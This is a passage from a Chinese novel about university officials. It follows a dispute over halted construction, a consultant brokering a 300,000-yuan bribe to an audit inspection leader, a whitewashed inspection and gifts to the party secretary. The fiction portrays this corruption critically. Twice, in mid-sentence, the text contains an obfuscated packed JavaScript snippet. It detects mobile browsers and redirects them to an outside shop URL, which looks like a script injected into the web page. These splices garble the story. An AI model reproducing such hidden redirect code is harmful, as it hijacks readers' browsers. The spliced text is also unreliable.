韦江龙吓得大气不敢出,眼神不由自主地瞟向顾明远。顾明远原本就不是会拐弯抹角的人,此刻迎着孟超逼视的目光,挺直腰板答道:“是我让停的。” 这不卑不亢的态度彻底激怒了孟超。他猛地一拍桌子,震得茶杯盖叮当作响:“顾处长,你是不是太武断了?再怎么也该先跟我这个分管领导报告的吧?”他额角青筋暴起,试图用震耳欲聋的音量掩盖内心深处的惶恐。 顾明远骨子里的倔劲儿被彻底激发出来。他迎着孟超喷火的目光慨然道:“孟校,我这是在落实戈书记‘不出事’‘零风险’的要求,是在履行我的职责。况且今天甲乙方、监理、审计都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904266|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场见证,程序上是完全合规的。” “放屁!”被当众顶撞的孟超气得浑身发抖,声音嘶哑着嚷道:“顾明远,你少拿别人压我!既然是‘全面排查’,为什么偏偏重点放在活动中心?我看你们就是别有用心,故意刁难!”他一把抓起桌上的报表狠狠摔在桌上:“轻飘飘一句停工,耽误了整个二期工程进度,这个责任你们负得起吗?” 会议室里的温度骤然升高。韦江龙吓得赶紧扯住顾明远的袖子,压低声音劝道:“要不……我们再商量商量?” 没想到顾明远寸步不让:“孟校,您说我们别有用心、故意刁难,这个结论下得未免太过分了吧?现场记录、取样标本都在这儿摆着。有问题就是有问题,如果现在回避,将来上面查出来,请问到时候谁来负这个责?” “你!”孟超被噎得一时语塞,指着顾明远的手指都在颤抖:“顾明远,你这是要反了天了。眼里还有没有组织原则?” 站在一旁的刘芳第一次亲眼目睹如此剑拔弩张的场面。原本满腔怒火的她忽然意识到,再这样僵持下去,最后吃亏的只会是自己。她赶紧堆起笑容,上前一步挡在两人中间:“都少说两句吧,怪我考虑不周,我认错行不行?” 惊魂未定的韦江龙也连忙打圆场:“大家都是为了工作。现在关键是解决问题。”顿了顿,忧心忡忡地补充道:“这事可千万别传到南令陶、石凤芝耳朵里,那就真麻烦了。” 这句话像一盆冷水,让在场的人全都愣在了原地。孟超重重坐回椅子,胸口剧烈起伏。顾明远意识到问题的严重性,语气缓和下来:“我作决定前没有及时向分管领导汇报,确实欠妥。但问题是明摆着的,如果没有个明确态度,最后谁都过不了关。” 这番表态总算给了孟超一个台阶。他接过刘芳递来的冷饮猛灌一口,转向韦江龙:“你说说,现在该怎么办?” 韦江龙的目光在三人脸上小心翼翼地转了一圈,谨慎地说道:“当务之急是封锁消息,避免事态扩大。另外,刘总还是要理解学校的难处。现在还是自查阶段,问题可控。要是被上面查出来,那就真的不可收拾了。所以我建议,不全面停工,但浇注有问题的混凝土部分必须返工。” 事已至此,孟超只得采纳这个建议。他先表扬了韦江龙一句“有大局观”,随后冷冷看向顾明远:“顾处长,你的态度呢?”已经冷静下来的顾明远点了点头。孟超又将目光转向刘芳:“那就按韦处长的意见整改?”刘芳生怕再节外生枝,犹豫片刻后也点头应允。 顾明远与孟超因自查爆发激烈冲突的消息,很快便传到了书记戈大垣的耳中。在详细了解事情经过后,他的内心深处反而对年轻的顾明远增加了几分赞许。 经过这些年的观察,当初因顾明远是吴若甫女婿、又与校长周濂有师生关系而心存疑虑的戈大垣,如今对他的看法已大为改观,好感日趋增强。小伙子虽带着些书生气,但学习态度、领悟能力和担当精神都相当突出。在戈大垣的心目中,顾明在所有后备干部的排位已经明显靠前,是重点观察和栽培的好苗子。正因如此,他觉得有必要和这个年轻人好好谈一谈。 听到门外轻而坚定的敲门声,戈大垣沉声说了声“进来”。端坐在宽大的办公桌后,直到顾明远走到近前,才微微抬手示意他在对面沙发上坐下。 顾明远刚落座,戈大垣便开口,声音平稳却自带分量:“听说,昨天你和孟校长动静不小。”目光里带着审视,透着一丝不易察觉的温和。 顾明远心头一紧,正要解释,戈大垣轻轻抬手止住了他:“事情的经过,我都清楚了。”他稍作停顿,语气里带着明确的肯定:“为了工程质量,坚持原则,敢于较真,甚至不惜顶撞分管领导,这份担当和锐气,还是很难得的。” 这个肯定有些出乎顾明远的意料,一时不知道说什么才好。 戈大垣身体微微前倾,眼神变得更加深邃:“新校区建设是百年大计,容不得半点失误。你坚持规范,严查问题,是对学校负责,也是对历史负责。这一点,我的态度是明确的。” “谢谢书记鼓励!”不太喜欢恭维的顾明远由衷地说道。 “但是呢,”戈大垣话锋一转,声音低沉了几分:“你是处长嘛。处在这个位置,既要敢作敢为,也要懂得把握分寸。”他目光灼灼,仿佛能看进顾明远的内心:“锋芒太露,有时反而会伤了自己,弄不好还会影响到工作。孟校长毕竟是你的分管领导。坚持原则,不等于不讲方法,更不等于要针锋相对,搞得水火不容。斗争,也要讲究策略和艺术呢。” 说罢,戈大垣从椅子上缓缓起身,在房间踱了两步后,停在了顾明远面前。敦实的身形和灼灼的目光透出一种不容置疑的威严,语气却如同谆谆的长者:“学校的发展,正需要你们这样有原则、有能力的年轻干部。但要想走得远,担得起更重的担子,光有一个‘敢’字还不够,还得有‘韧’劲儿,懂得‘和’的艺术。要在坚持底线的前提下,学会寻求最大公约数,团结大多数人,一起把事情办好。” 戈大垣的目光充满了期许和关切:“小顾记住,真正的担当,不仅是勇往直前,更要懂得在复杂的局面中,既能守住底线,又能巧妙破局,把事情做成功。这个度,需要你用心去观察,去体会,去实践。” 戈大垣严肃中透着关切的话,让顾明远的紧张和憋屈舒缓了不少。即便如此,内心深处对于行政体系中无处不在的机谋与权衡依然感到厌倦和无奈。 66. 闯关成功 对眼前工作的厌倦和无奈,如同眼下梅雨季的苔藓,在顾明远的心头悄然滋生。然而,责任感却像一棵盘根错节的老树,在他脑海中根深蒂固。眼看上级检查组即将进驻,山雨欲来的压抑感让他心中忐忑不安,他再次下意识地拨通了钟德君的电话,希冀从这位“局外高人”那里获得一剂应对的良药。 钟德君的回答直白得近乎残酷:“老姑你听我的,能置身事外就置身事外,能从基建处这摊浑水里抽身,就尽快。”他甚至带着几分戏谑调侃道:“你老顾本质上是个秀才,搞学问、做研究是你的强项。基建这潭水太深太浑,给不了你施展的舞台。你还是尽早离开这是非之地,去做些自己真正感兴趣且有价值的事情,那才叫不负平生所学。万一哪天老孟那边爆了雷,火星子溅到你身上,误伤了你,那才叫冤呢。” 顾明远握着听筒,沉默着不说话。钟德君的话,像一把钥匙,精准地打开了他心中那扇隐秘的门。去意,其实早已萌生。然而,现实是自己仍在任上,当他说出“检查组马上就到,我作为处长,总不能完全撒手不管……”,钟德君在电话那头不屑地笑道:“天塌下来有高个子顶着。你操哪门子闲心?”随即挂断了电话,留下“嘟嘟”的忙音在空荡的办公室回响。 几乎在同一时刻,孟超不谋而合也想起了钟德君。如今,财大气粗、羽翼渐丰的钟德君和自己早已渐行渐远,为此孟超在心里不知将“小人得志”、“忘恩负义”这类词汇在钟德君身上反复捶打了多少遍。然而,现在上命运攸关的关键节点,孟超无法忽视钟德君的存在。他不得不压下心中的不屑与愤懑,希望这个在省内审计界响当当、叫得响的前部下能够为自己支支招、指指路。 钟德君怔和朋友在城郊一处隐秘乡间会所的鱼塘畔垂钓。孟超的电话一直响个不停,他就是置之不理,直到一位鲫鱼上钩,他才悠闲地对着剧烈摇摆的钓物说了句“你是自己上钩的哦”,然后慢悠悠地接听了孟超第四次打来的电话:“哎呀,是孟校哇。不好意思,我怔陪审计厅的几位领导考察呢”,他有意将“审计厅”三个字用了加重语气,然后故意压低声音说了句“我出来和你说话”。 寒暄了几句,孟超说出了自己的来意。钟德君却故意用一种急促而神秘的语调打断了他:“不好意思,刘副厅长出来了,我去打个招呼”,挂断电话后再鱼塘边走了两个来回,然后重新接通了孟超的电话。钟德君彷佛是有未卜先知的本领,笑着说道:“我就知道你会给我来电话的。这样吧,你们的事情一句两句说不完,后天是周末,要不你订个地方,我们面谈?” 孟超愣了一下,虽然对钟德君大大咧咧的口气不满,也只好答应下来。 他特意让韦江龙订了一家专做海鲜的会所。地方选定后,孟超开始琢磨谁来作陪的事情。汪清早作为宴请的“出资方”,自然必须参加。孟超了解钟德君对女色百吃不厌的嗜好,觉得需要有一位女性出面烘托气氛,不免有些怀念起已经辞职远走的胡莎莎来。韦江龙提议让刘芳参加,孟超想了想摇头拒绝,都不是不愿意让人分享,怕的是她和汪清早之间出现误会。这时,门外闪过一个熟悉的身影。孟超眼前一亮:就是秦冰纶她了。一来很早以前钟德君九将其视为“梦中情人”,二来秦冰纶是这次迎检的负责校领导。 果然,当孟超向秦冰纶发出邀请时,她只作了片刻的犹豫便答应了下来。 秦冰纶的到来有些出乎钟德君的预料。想当年在楚江大学工作的时候,自己在梦中无数次和美人有过痴缠。只可惜现实中,美人高傲的眼光似乎从未在他这个“乡下小子”身上有过片刻的停留。如今,功成名就,信心爆棚,钟德君早已经从仰视梦回变成了在内心随意亵玩。 以秦冰纶的敏锐,自然清晰地感知到了钟德君那毫不掩饰的玩味目光。出发之前,孟超极力向她渲染、哄抬钟德君如今的身价和能量,让她不得不对这个曾经的“乡下小子”刮目相看。毕竟,学校的这次迎检说到底就是一次审计,确实有用得上钟德君的地方。想到这些,心高气傲的秦冰纶强行压下内心的不适,脸上堆起恰到好处的笑容,一口一个“德君”、“德君”地叫得格外热络亲切,仿佛彼此是相识多年的挚友。 美人在侧,软语在耳,像羽毛般轻轻撩拨着钟德君的心弦,内心早就在意念的狂想中将女神按在沙发里揉搓了好几回。 孟超有些等不及,迫不及待地将钟德君请进了里间茶室。小小的茶室顿时变成了一个没有硝烟的谈判场。孟超和秦冰纶一唱一和,孟超负责表达意见和营造氛围,秦冰纶负责强化感情和施展风情。 然而,钟德君早已不是当年那个可以被轻易看穿、随意拿捏的毛头小伙子。他早就有了一套应付着两位象牙塔里的“小王”,任凭两人巧舌如簧,在没有看见实实在在的“兔子”之前,他是决不放出手中的那只“鹰”来。 每到孟超向他询问破题之策时,钟德君便来回重复“风声很紧”“情况不妙”、“问题不少”这些车轱辘话,实在逼急了,便会挤牙膏似的冒出一句:“唉,这事儿吧,说难也难,说易也易,关键是路子得对,路子对了,也不是完全没有办法……。” 留下无限的想象空间来吊足二人的胃口。 最后,还是秦冰纶沉不住气,亲自将刚泡好的一杯参香馥郁的人参乌龙茶袅袅婷婷地端到钟德君面前。也许是动作幅度过大,不经意将一道幽深的□□暴露在钟德君的眼前。钟德君只觉得一股热流直冲头顶,他强作镇定咽了咽口水,接过茶杯时指尖有意无意擦过秦冰纶玉指,秦冰纶看得清楚,顺势坐在他的身旁,放任身上的幽香丝丝缕缕沁进钟德君的鼻翼:“德君,”她的声音轻柔中带着一丝若有若无的嗔怪:“说起来,我们以前在楚大还是好同事嘛。我今天和孟校长可是诚心实意来向你请教的,你人脉广、消息灵通,有什么就直说嘛,也好让我们心里有个准备。” 她的话语像裹着蜜糖的软针,既满足了钟德君的虚荣,也带着不易察觉的催促。 钟德君的眼睛毫无顾忌地在秦冰纶饱满的胸脯上大胆地游走了一圈后,“呵呵”干笑了一声说道:“好吧,看在你秦大美女的面子,我给你们支一招”,说罢,用手指在面前的茶杯里的茶在玻璃桌面上写了一个“人”字。 孟超和秦冰纶面面相觑,不明就里。钟德君轻蔑地笑了起来:“两位校长,我只问你们,这词专项检查靠谁来做?” 孟超恍然大悟,脱口说了声“人呀。” “这不就结了嘛。”钟德君两手一摊,仿佛揭示了什么了不得的真理:“你们当领导的是‘盘人’高手啊。应该知道这种事该怎么做的呀。” 秦冰纶若有所思:“问题是我们不知道来检查的是些什么人呀?” 看见两人渐渐上了轨道,钟德君暗自高兴。来前他已经打听到这次牵头的组长是审计厅刚刚退休的调研员“梅淑芳”,这才是今天钓鱼的最大“饵料”。当然,以钟德君的精明,自然不会轻易透露半点信息,只是有意半吞半吐、半遮半掩露出一些丝絮来。 孟超和秦冰纶二人的心被丝絮撩拨得奇痒无比又无可奈何。孟超心里大概猜到了钟德君的底数,抽出一根烟恭敬地递上后说道:“德君,外面的菜都快上齐了。咱们都是明白人,就不云山雾罩的了。如果是钱可以摆平的,你就直接说个数。” 钟德君故意将手指压在嘴唇上做了个“嘘”的手势轻声说道:“谈钱伤感情。隔墙有耳呢。” 为了显得自己不是如此俗气,钟德君故意叹了口气:“路在脚下。就怕你们这些象牙塔里的知识分子太清高了呀。” 孟超不想在气势上被这个他内心视为“暴发户”的后生看扁,立刻挺直腰板,用一种带着江湖气的豪爽回应道:“德君你放心,大敌当前,没有什么清高不清高的。你尽管说个数字。” 秦冰纶有些担忧,焦急地问道:“问题在于,我们连检查组的负责人是谁都不知道。总不能把钱随便送人吧?” 钟德君早就预料,身体向后靠在沙发背上:“德君既然敢给你们指这条道儿,自然就有办法把‘庙门’给你们找到,甚至帮你们把‘香’递到‘菩萨’跟前。不然,我今晚坐在这里干嘛呢?” 孟超生怕秦冰纶的顾虑打消了钟德君帮忙的念头,一个劲地催着他报出数字。 钟德君抬起右手,伸出三根指头。 “三……三万?”秦冰纶轻轻叫唤了一声。对钟德君深有了解的孟超心里“咯噔”一下。果然,钟德君笑着摇了摇头:“看来秦校长对外面的世界还不太了解啊。”眼神里流露出来的是毫不掩饰的蔑视与讥诮,顿了顿,加重语气说道:“你们楚大新校区建设的问题,你们应该比我清楚呀。如果检查组认起真来,那可就不是三十万的事情喽。” 秦冰纶倒吸了一口凉气,没有料到钟德君如此狮子大开口。孟超比秦冰纶更在意钟德君说的话,一狠心咬牙说了句“我们想办法吧”。 为了打消两人心中的犹豫,钟德君笑着说道:“这还是看在你孟校和秦校两位老朋友的面子上,给的友情价。去年替省里一家省属企业牵线摆平类似的问题,前前后后花了一百万才把屁股擦干净。说实话,你们这边问题的复杂程度一点也不亚于人家。” 秦冰纶杏眼慌乱地望着孟超,意思是“去哪里弄这一笔巨款呢”。 毕竟检查事关自己的身家前途,孟超沉默片刻后,抬起头目光坚定地看着钟德君:“行,就按你说的这个数办。”说罢,用力握住钟德君的胳膊使劲摇晃了两下语气严肃地说道:“德君,我和秦校可是把你当真正的朋友。这件事,一定要做得干净利落,绝不能留下任何后患。” 达到目的的钟德君衣服云淡风轻的样子:“二位放心吧,钱到账了,我立马行动,保准成功。”说罢,拍了拍自己的肚皮说道:“正事谈完了,该犒劳犒劳它了。” 趁着钟德君去洗手间的工夫,秦冰纶一把拉住孟超急切地说道:“你倒爽快,三十万可是个天文数字啊!我可没有办法筹到这笔钱。再说,万一这家伙收了钱事情没办成呢?” 孟超此时也是有些心乱如麻,但为了在秦冰纶面前显出自己的英雄本色,故意捏了一把她的胳膊豪爽地说道:“放心吧,这事包在我身上,到时你在前面把握好节奏就行了。钟这个人我还是了解的,虽然贪婪滑头,但拿钱办事的信誉还是有的,不然他也不可能在圈子里混到今天这个地位。” 秦冰纶嘟哝了一句:“到哪里化缘这一大笔钱呢?”孟超本想说出“汪清早”这个名字,话到嘴边又咽了回去。有些事,知道的人越少越好。 这些天,顾明远带着基建处的全体人员开始为检查组进校进行各种资料准备和答询预演。越是准备得深入,发现的问题越弹出得更多,这让他肩上的压力增加了不少。韦江龙似乎淡定得多,看见顾明远面对小山似的项目档案眉头紧锁的样子,甚至开起了玩笑:“放心吧,一切都在孟校长的掌控之中呢”,暧昧的眼神和笑容,让顾明远觉得韦江龙似乎有什么事情瞒着自己。 按照约定,孟超让汪清早将十五万元“预付款”准时打入到了钟德君指定的账户。钟德君确实言而有信,动用自己的关系网络,联系上了专项检查组组长梅淑芳。 得到梅淑芳“勉强”同意见面的许可后,钟德君怀揣着装着五万元现金的牛皮纸信封,趁着夜色潜入了梅淑芳家所在的小区。 梅淑芳是一个身材瘦小干瘪、脊背有些佝偻的女人,说话时习惯从黑框眼镜上方用两道锐利如手术刀般的目光冷冷地“剜”向来人。想起中间人告诉的梅淑芳是个寡妇的信息,加上房间灯光暗淡而静穆,钟德君觉得后背有些发凉,只盼着赶紧办完事后离开。 好在中间人前面已经做了足够的铺垫,梅淑芳的态度算不上特别的冷淡,但似乎也不打算让钟德君久留,寒暄了几句后,主动询问他的具体要求,钟德君先是将牛皮信封放在她面前的餐桌上,然后直奔主题说出了自己的想法。梅淑芳眼角随意瞥了一眼信封后只淡淡说了句:“让他们尽量准备充分些吧。”然后缓缓地起身,显然是要送客的意思。 没有拒绝信封就意味着已经默许了自己的请求。钟德君如蒙大赦,赶紧知趣地离开了这个令人窒息的地方。临出门时,借着眼角的余光,看见梅淑芳伸出有些枯瘦的右手在信封上按了按。 一周后,梅淑芳率领检查组一行十人,浩浩荡荡地开进了楚江大学。由于此事关系重大、时间敏感,戈大垣和周濂对检查组进校给予了空前的重视。他深知这次专项检查如果真出了问题,自己作为学校一把手无论如何是很难脱去干系的,这对他下一步从高校转到政府的“仕途转型升级”布局肯定造成致命影响。为此,除了亲自主持隆重的见面会外,他还会挤出时间每天中午单独陪同梅淑芳用餐,时不时晚上去梅淑芳下榻的酒店嘘寒问暖以示关心,尽力拉近和梅淑芳的距离。 作为迎检负责人的秦冰纶更是小心谨慎事必逢迎。从钟德君那里打听到了梅淑芳的性格特征和行事风格后,秦冰纶刻意降维了自己光鲜亮丽的着装和化妆,在梅淑芳面前尽量显得朴素而低调,以免刺激到了梅淑芳。在周濂的提醒下,她会不时的以个人名义给梅淑芳送些购物卡、化妆品之类的小玩意。刚开始梅淑芳还会冷着脸拒绝,时间长了,也许被秦冰纶的诚意感动,对她的态度明显温和了许多,有时甚至还能一起拉拉家常,说些女人间的话题。 关注检查组进校的何止戈大垣、秦冰纶她们。这些天来,楚江大学的空气四处弥漫着躁动、欣喜、不安的气味,各种小道消息和传闻随风钻进各个办公室和人们耳朵中进进出出。南令陶、石凤芝他们每天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904267|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是打了鸡血般的上蹿下跳,游走在校园的每一个角落,制造着“听说新校区那块地当初拿得有问题”、“二期工程有些账目一塌糊涂”、“大学生活动中心偷工减料”、“弄不好这次要捅出漏子来”这样一些似是而非的消息来,搅得人心惶惶、难辨真假。 对这一切了如指掌戈大垣有些焦虑不安。尤其昨天午餐时,梅淑芳有意无意地透露这段时间“意见箱”天天爆满的消息后,戈大垣更是急火攻心、忧心忡忡。在和校长周濂关门研判了半天,两人嗅出了一些副校长江川幕后操纵的气息,便连夜召开班子会敲警钟,围绕着“相互补台,好戏连台;相互拆台,共同垮台”的道理,戈大垣疾言厉色又苦口婆心地唱了一个小时的独角戏,目光不时瞟向了假装认真在做笔记的江川。 整天,戈大垣正在埋头签批文件,办公室的门被悄无声息地推开又掩上。主任桂先锋侧身而入,脸上带着一种秘而不宣的得意。他凑到办公桌前,如同展示珍宝般,从口袋里小心掏出一个U盘,压低声音道:“戈书记,这是最近几次给梅组长送礼时,我悄悄用手机录的音……留着,将来或许是个防备。” 话音未落,一股寒意猝然窜上戈大垣的脊背。他在公安战线摸爬滚打多年,见过形形色色的人物与手段,却万万没想到,在高校这片“净土”上,在自己身边,竟藏着这样一位工于心计的“高手”。联想到近年来关于桂先锋狐假虎威、擅作主张的那些传闻,戈大垣心中响起了警铃。他眼皮微抬,目光平静地扫过桂先锋那张邀功请赏的脸,语气听不出半分波澜:“这种事嘛,以后还是不要做了。” 桂先锋脸上那抹讨好的笑意瞬间冻结,只好讪讪地收回U盘,连声应和。方才的得意,已化为了一脑门的冷汗。 一个月来,与检查组的几次正面交锋,已让顾明远身心俱疲。尽管每一次被召见,他都如履薄冰般全力应对——材料反复核对,问答预先斟酌,力求每一个环节都无懈可击——但他仍能清晰地感觉到,在检查组那些专业而锐利的眼睛逼视下,,自己精心准备的防御总会被撕开一些缝隙。某一句迟疑的回应,或是一个犹豫的眼神,都可能被对方抓住穷追猛打。这让他每一次走出那间谈话室,都有种虚脱般的后怕,仿佛自己一个不经意的疏忽,就会成为引爆整个学校的导火索。 而门外等待他的,往往是另一场无声的审判。分管领导孟超似乎对他的每一次接受闻讯都十分在意,总能第一时间将他召至办公室。在那里,没有关怀,只有审视。从检查组问话语气、具体内容到顾明远的每一句作答,孟超都会反复盘问,那双眼睛里闪烁的是毫不掩饰的质疑与猜忌。这怀疑的目光,像一块沉重的巨石,压在顾明远早已不堪重负的心上。内外交困之下,他胃痉挛的老毛病汹涌地发作了。这一次,顾明远索性听从了吴若甫“正好休息几天避避风头”的建议,向孟超递上了假条,将自己暂时藏匿在安静、舒适的家中。 林思齐得知消息后,立刻带上药物赶了过来。说来也怪,原本拧紧般绞痛着的胃,在听到她声音、看到她身影的刹那,竟像被一只温柔的手轻轻抚过,那尖锐的痛楚悄然消散,只余下一种沉重的疲惫。或许是这份突如其来的舒缓卸下了他的心防,又或许是在她面前,他本就不必强撑。顾明远望着她为自己倒水的背影,一种久违的安心感弥漫开来,藏在心底许久的念头也随之滑出唇边:“基建的摊子,我或许真该抽身了。” 林思齐将水递到他手中,目光柔和,声音坚定:“看你这些年这么辛苦和纠结,是可以考虑离开了。不过,这事吧,我劝你不要操之过急,毕竟是体制内,最好还是等一个最稳妥的时机,平稳离开,保全自己。” 她的话语像一阵暖流,精准地熨帖了顾明远心中的纠结与不安。 两个月的煎熬终于迎来了检查组离校前的反馈会。 次日,学校第一会议室里,空气沉重得近乎凝固。校领导班子成员与主要处室负责人悉数在座,人人敛声屏气,正襟危坐,如同雕塑。当戈大垣、周濂亲自陪同梅淑芳步入会场时,全场的气氛骤然绷紧至极限。所有目光,都难以自控地悄然投向这个身材瘦小的女人身上,仿佛在等待一场关乎所有人前途命运的最终宣判。 在主位上坐定后,一直以严肃形象示人的梅淑芳将手中的通报稿轻轻放下,眼角深刻的皱褶里竟然漾出几丝意味不明的笑意。她干咳了两声后说道:“咱们这次检查工作呀,”顿了顿,环视一周后嗓音沙哑:“就像剥一个煮熟的鸡蛋。目的不光是看清蛋壳和蛋白,有时候,还得往深处探一探,看看蛋黄是不是完好,有没有散黄、变质。找到了根子,很多问题,也许就……都不是问题了。” 这个晦涩的比喻,让在场的人有些一头雾水:蛋黄指什么?是更深的管理漏洞,还是某个具体的人?在焦虑与探究的目光中,梅淑芳重新拿起稿子开始照本宣科宣读起来。 十分钟后,梅淑芳宣读完毕。所有在场的人都结结实实愣住在椅子上不能动弹。无休止的现场勘查、无休止的关门诘问、无休止的调看数据……,人们原本以为会查得千疮百孔,结果从梅淑芳嘴里吐出的竟然上一个好得远远超出大家想象的乐观结论,尤其是关于新校园建设部分,除了“有些项目流程不够严谨”、“个别项目手续不够完备”外,再无其他问题。倒是副校长江川分管的工程结算方面,被加重语气指出了“超前支付”“手续缺失”两个更加突出的问题,并明确指出分管领导要负主要责任。 心理与现实的巨大反差让会议室瞬间寂静,很快,乐观的情绪开始无声地弥漫开来。 散会时,江川的脸上如同打翻了调色盘,写满了失落、郁闷和愤懑。他没有像其他的人那样去向孟超、秦冰纶握手祝贺,而是低着头快速起身第一个离开了会议室。会议室里,孟超脸上洋溢着掩饰不住的春风得意;秦冰纶容光焕发,眼神重新满是风情和妩媚。 作为直接的当事人,顾明远自然为工程检查的顺利过关感到庆幸和高兴。但是,这种轻松和高兴转瞬就被一众奇怪、复杂的情绪所淹没。看着孟超满面春风与同僚们互相道贺、弹冠相庆,顾明远只觉得胸口发闷。一种混合着狐疑、感慨的浪潮在他心中翻涌。他比谁都清楚,新校园建设过程中存在的某些问题,绝不仅仅是报告上那句轻飘飘的“流程不够严谨”“手续不够完备”那么简单。此刻,这个“皆大欢喜”的圆满结论,在他眼中,宛如一出精心编排却漏洞百出的闹剧。而他自己过去两个月那些熬夜加班的准备、那些字斟句酌的应答、那些如履薄冰的谨慎,在这出闹剧的映衬下,显得如此可笑而苍白。 他默默地收好桌上的笔记本,没有加入任何一场寒暄。窗外,雨后天晴,天空似乎比往日明亮了些,可他的内心,却仿佛被一层吹不散的灰色尘埃所笼罩,一片沉寂。 67. 困局难解 检查组离校的第二天,钟德君就迫不及待地给孟超打来了电话讨要剩下的十五万“尾款”。 此刻的孟超仍处在检查通过的兴奋大潮中,春风得意、志得意满。昨天,汪清早亲自送来的装有十五万元现金的牛皮信封就锁在抽屉里。接到钟德君的催款电话,孟超忽然灵机一动,一个新的想法在脑海里酝酿而成。 "德君,这次的结果呢我是满意的。你出了力确实不假,不过最关键的还是我们自身过硬不是。"孟超在电话里拖长了语调打起了官腔,意思却再明白不过。 钟德君对此早有预料。孟超翻脸不认人的本事自己以前早就有所领教,更何况这次报价确实高得有些离谱,因此催要起来的底气一开始就并不充足。面对孟超的故技重施,钟德君其实也没有更多手段,便只好拿出检查报告还未报送审计厅来吓唬孟超。哪知道已经从梅淑芳那里得到定心丸的孟超根本不买账,直接说出了筹集资金方面有点问题,并威胁万一漏了风声大家都会惹上麻烦。最后,两人在电话里经过几个回合的讨价还价,以八万元成交。两人心里其实对这个价格都是满意的。对于钟德君而言,这笔钱算是自己的净收益;对于孟超来讲,自己无异于得了一笔七万元的意外之财。 尾款圆满解决后,孟超最紧要的事情就是尽快去城郊的灵泉寺还愿。 灵泉寺坐落在城郊的龙泉山,算得上一座千年古刹,香火十分鼎盛。新校园破土动工以来,孟超便成了龙泉寺的“常客”和“施主”。有时跪在庄严肃穆的佛像前虔诚地祷告一番;有时登上寺旁的山顶登临眺望寻求片刻的超脱;有时去寺里的素食馆让自己的肠胃得到清淡的洗礼……。这位平日里在主席台上喜欢畅谈“唯物论”的孟校长,骨子里对佛祖有一种说不出的矛盾心态:对佛教一窍不通,但每遇大事难事险事就一定要虔诚地前来走一遭,彷佛只要走进这香烟缭绕、梵音袅袅的禅寺,自己那颗在俗世名利场中翻滚躁动的心就会奇迹般地获得宁静与安稳。 因为每次施舍颇丰,孟超在寺里佛缘甚众。每入山门,必有寺里主事的亲自出面接待。孟超并不避讳,总会“噗通”跪在蒲团上,双手合十,眉眼低垂,姿势既规范又虔诚。木鱼敲起时,念念有词的都是只有自己清楚的许愿:工程千万别处漏洞,各种告状小鬼远离自己、安全地充盈自己的腰包……。说到底,孟校长拜的是佛祖,要的是安全。寺庙不过是他临时租来的“焦虑避难所”,佛像也只是暂时充当他那不安灵魂的“安全监理”罢了。 为了防止遇见熟人尴尬,孟超特意选了在一个小雨淅沥、寒意袭人的工作日下午自驾而来,还专门让老婆韩梅请假陪同自己,以示庄重和虔诚。 在知客僧期待的目光中,孟超从手包里拿出一沓缠有银行封条的钞票交给了陪同的住持。虽然对孟施主的慷慨多有见识,但这次出手如此阔绰,还是让佛心淡定的住持眼里放出惊喜的光来,赶紧示意一旁的报晓头陀将木鱼敲得如同“大珠小珠落玉盘”一般急切。 韩梅对佛既不信也不通。看着孟超将目测的一万元钞票轻飘飘交给住持,心疼得几乎要叫出声来。刚一走出山门,顾不得佛国庄严,韩梅气急败坏狠推了孟超一把:"你今天是真疯了还是魔怔了?一万块钱就眼也不眨丢进水里了?怎么的?这日子不打算过了是吧?" 孟超闻言大骇,生怕老婆的妄言被宝相庄严的佛祖听见而显灵怪罪,赶紧伸出手指用力压在韩梅的嘴唇让她闭嘴,又转身对着香烟缭绕的山门和殿宇双手合十,连连躬身致歉:"佛祖恕罪,佛祖恕罪!妇人无知,妄言妄语,千万莫怪,千万莫怪。" 祷告完毕,赶紧拉着满脸不忿的韩梅钻进车子。在确信已经远离禅寺的“磁场”后,孟超变戏法似的从手包里取出了一个精致的首饰盒子递到韩梅面前:"喏,我为你这个祖宗也没少花钱嘛。" 韩梅打开盒子一看,里面是只硕大无朋、金光灿灿的龙凤呈祥手镯,那双原本因愠怒而倒竖的眉毛瞬间舒展开来。她用力将黄澄澄的镯子框进粗壮的手腕,又抬起手臂就着车窗的光线翻来覆去地照看了半天,方才心中的不快早已被这明晃晃的黄金冲刷得一干二净。 庙里的还愿已经完成,但孟超还有一件未了的心事:将这次圆满通关转化成一次向戈大垣邀功的机会。这些年来,孟超尝试了以前在许继武身上屡试不爽的套路去撬动戈大垣,无奈他始终无动于衷、不为所惑,让孟超总觉得有一种若即若离、不远不近的感觉。现在情况有所不同。这几天,戈大垣在各种场合没少表扬孟超在新校园建设中的贡献,趁着这个热乎劲,孟超觉得时机更加何时。 自从去年膝盖做了微创手术后,戈大垣几乎已经告别了自己心爱的羽毛球运动,将身体的"淬炼"改为了精神的"清修",转而开始痴迷起书法艺术。为此,孟超特意托一位行家觅得一套做工精致、用料考究的定制象牙毛笔。借着汇报落实检查整改的机会,小心翼翼将毛笔盒子摆在了戈大垣的面前。 戈大垣心中给自己立了规矩——除了雪茄,对金银玉石这些俗物一概拒之。自从迷上书法后,规矩偶尔也会被自己的“雅好”撬开了一道缝。在他看来,收些笔墨纸砚算不得是贿赂,只是一种“雅赠”而已。 